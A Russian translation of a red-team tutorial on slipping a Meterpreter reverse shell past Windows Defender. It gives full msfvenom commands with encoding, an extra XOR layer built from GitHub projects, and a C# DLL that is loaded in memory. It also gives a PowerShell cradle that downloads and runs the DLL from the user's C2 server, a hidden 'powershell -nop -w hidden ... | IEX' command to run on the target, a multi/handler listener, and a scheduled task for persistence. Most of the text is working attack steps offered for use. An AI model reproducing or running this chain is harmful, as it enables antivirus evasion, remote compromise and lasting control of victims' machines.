Перевод: Руководство RED TEAM - #4
@Ent_TranslateIBОбход защитника Windows — Meterpreter edition

Темы:
- Создание полезной нагрузки MSFvenom
- Дополнительный слой XOR
- Создание DLL и сценарий загрузки Powershell
- Получение Shell!!
1. Создание полезной нагрузки MSFvenom
Команда ниже генерирует полезную нагрузку reverse_tcp по умолчанию для 64-битной версии Windows, используя девять повторений для увеличения уклонения, и форматирует вывод в csharp.
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP_ADDRESS LPORT=YOUR_PORT --encoder x64/xor_dynamic -i 9 -f csharp
Эта полезная нагрузка сама по себе будет поймана Windows Defender!
Вывод:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 9 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 560 (iteration=0)
x64/xor_dynamic succeeded with size 610 (iteration=1)
x64/xor_dynamic succeeded with size 661 (iteration=2)
x64/xor_dynamic succeeded with size 712 (iteration=3)
x64/xor_dynamic succeeded with size 763 (iteration=4)
x64/xor_dynamic succeeded with size 814 (iteration=5)
x64/xor_dynamic succeeded with size 865 (iteration=6)
x64/xor_dynamic succeeded with size 916 (iteration=7)
x64/xor_dynamic succeeded with size 968 (iteration=8)
x64/xor_dynamic chosen with final size 968
Payload size: 968 bytes
Final size of csharp file: 4936 bytes
byte[] buf = new byte[968] {
0xeb,0x27,0x5b,0x53,0x5f,0xb0,0x9e,0xfc,0xae,0x75,0xfd,0x57,0x59,0x53,0x5e, 0x8a,0x06,0x30,0x07,0x48,0xff,0xc7,0x48,0xff,0xc6,0x66,0x81,0x3f,0x03,0xf1, 0x74,0x07,0x80,0x3e,0x9e,0x75,0xea,0xeb,0xe6,0xff,0xe1,0xe8,0xd4,0xff,0xff, 0xff,0x14,0x20,0x13,0x9e,0xff,0x07,0x48,0x47,0x7f,0xa3,0x81,0xdc,0xbd,0x61,
...
...
...
0xa6,0xf2,0x62,0x83,0x51,0xfc,0xc4,0x5c,0x7d,0x37,0x49,0x4a,0xe4,0xc6,0xe7, 0x82,0xb2,0x55,0xdc,0xd1,0xf4,0x5e,0x42,0xbe,0x67,0x06,0x91,0x02,0x51,0xff, 0x12,0x32,0xa1,0xf9,0x29,0xf6,0x03,0xf1
};
Обратите внимание на размер полезной нагрузки (НЕ размер файла csharp!).
2. Дополнительный слой XOR
Полезные нагрузки содержат "заглушку декодера". Это небольшой цикл декодирования, поэтому большинство антивирусных программ способны обнаружить закодированные MSFvenom полезные нагрузки из-за этой заглушки. Чтобы обойти это, мы добавим дополнительный уровень XOR-кодирования.
- Загрузите проект XORencoder с Github: https://github.com/crypt0jan/XORencoder
- Откройте проект XORender с помощью Visual Studio
- Измените файл
Project.cs, заменивbufс вашей полезной нагрузкой с шага 1
▹ Не забудьте изменить его размер ([968]) на ваш размер полезной нагрузки с шага 1 - В верхней части Visual Studio измените Debug на Release
- Щелкните
Build>Build Solution
После успешной сборки, файл XOR_encoder.exe будет находиться в директории bin\Release\netcoreapp3.1\. Откройте Powershell или CMD, "cd" в эту директорию и запустите исполняемый файл (см. ниже).
Вывод:
PS C:\Users\User\Desktop\XOR_encoder\bin\Release\netcoreapp3.1> .\XOR_encoder.exe The payload is: 0x41, 0x8d, 0xf1, 0xf9, 0xf5, 0x1a, 0x34, 0x56, 0x04, 0xdf, 0x57, 0xfd, 0xf3, 0xf9, 0xf4, 0x20, 0xac, 0x9a, 0xad, 0xe2, 0x55, 0x6d, 0xe2, 0x55, 0x6c, 0xcc, 0x2b, 0x95, 0xa9, 0x5b, 0xde, 0xad, 0x2a, 0x94, 0x34, 0xdf, ... ... ... 0x6c, 0x4d, 0x28, 0x18, 0xff, 0x76, 0x7b, 0x5e, 0xf4, 0xe8, 0x14, 0xcd, 0xac, 0x3b, 0xa8, 0xfb, 0x55, 0xb8, 0x98, 0x0b, 0x53, 0x83, 0x5c, 0xa9, 0x5b
Используйте эту полезную нагрузку вместо оригинальной от msfvenom!
3. Создание DLL и сценарий загрузки Powershell
Чтобы запустить полезную нагрузку, мы можем создать либо исполняемый файл, либо DLL (библиотеку динамических ссылок). Причина, по которой я создаю DLL, заключается в том, что мы можем запускать ее непосредственно в памяти, а не размещать файл на диске.
DLL
- Загрузите проект ClassLibrary1 с Github: https://github.com/crypt0jan/ClassLibrary1
- Откройте проект ClassLibrary1 с помощью Visual Studio
- Отредактируйте файл Class1.cs, заменив буфер в строке 40 на вашу новую полезную нагрузку из Шага 2
▹ Не забудьте изменить его размер ([968]) на ваш размер полезной нагрузки с шага 1
Обратите внимание на имя функции AwesomeFunctionName в строке 30. Вы можете изменить это имя на свое собственное. Просто помните, что оно понадобится нам позже.
- В верхней части Visual Studio измените Debug на Release
- Щелкните
Build>Build Solution
▹ После успешной сборки файл ClassLibrary1.dll будет находиться в каталоге bin\Release - Загрузите DLL на свой сервер C2 в пустой каталог.
СЦЕНАРИЙ ЗАГРУЗКИ POWERSHELL
Мы будем использовать сценарий Powershell для загрузки DLL с вашего сервера C2, загрузки ее в память и выполнения функции, которую вы указали в предыдущем шаге.
- Перейдите в новый каталог на вашем сервере C2, в который вы только что сохранили DLL
- Создайте сценарий Powershell (например, run_DLL.ps1) внутри того же каталога
Содержание:
$data = (New-Object System.Net.WebClient).DownloadData('http://YOUR_IP_ADDRESS/ClassLibrary1.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("AwesomeFunctionName")
$method.Invoke(0, $null)
- Измените AwesomeFunctionName на то, как вы указали имя функции в строке 30 DLL, или оставьте его как есть
- Запустите временный веб-сервер с помощью модуля Python http.server из нового каталога: python3 -m http.server 80
4. Получение Shell!!
На сервере C2 создайте слушателя с помощью Meterpreter:
msfconsole -q -x 'use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST YOUR_IP_ADDRESS; set LPORT YOUR_PORT; set ExitOnSession false; exploit -j -z'
Вместо того чтобы просто загрузить сценарий Powershell из шага 3 на цель и запустить его, мы воспользуемся той же техникой, что и раньше, и запустим сценарий из памяти. Выполните эту команду на цели:
powershell.exe -nop -w hidden (New-Object System.Net.WebClient).downloadString('http://YOUR_IP_ADDRESS/run_DLL.ps1') | IEX
Вот и все! Это должно было обойти Windows Defender и большинство антивирусных программ. Хорошая работа!
ДОПОЛНИТЕЛЬНО: ЗАДАЧА ПО РАСПИСАНИЮ
Создайте (базовую) запланированную задачу, используя эти аргументы:
- Действия, запуск программы
- Программа:
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe - Аргументы:
-nop -w hidden (New-Object System.Net.WebClient).downloadString('http://YOUR_IP_ADDRESS/run_DLL.ps1') | IEX
Перевод статьи был выполнен проектом перевод энтузиаста:
- 📚 @Ent_TranslateIB - Телеграмм канал с тематикой информационной безопасности
- 🔥 @Ent_Translate - Инстаграм проекта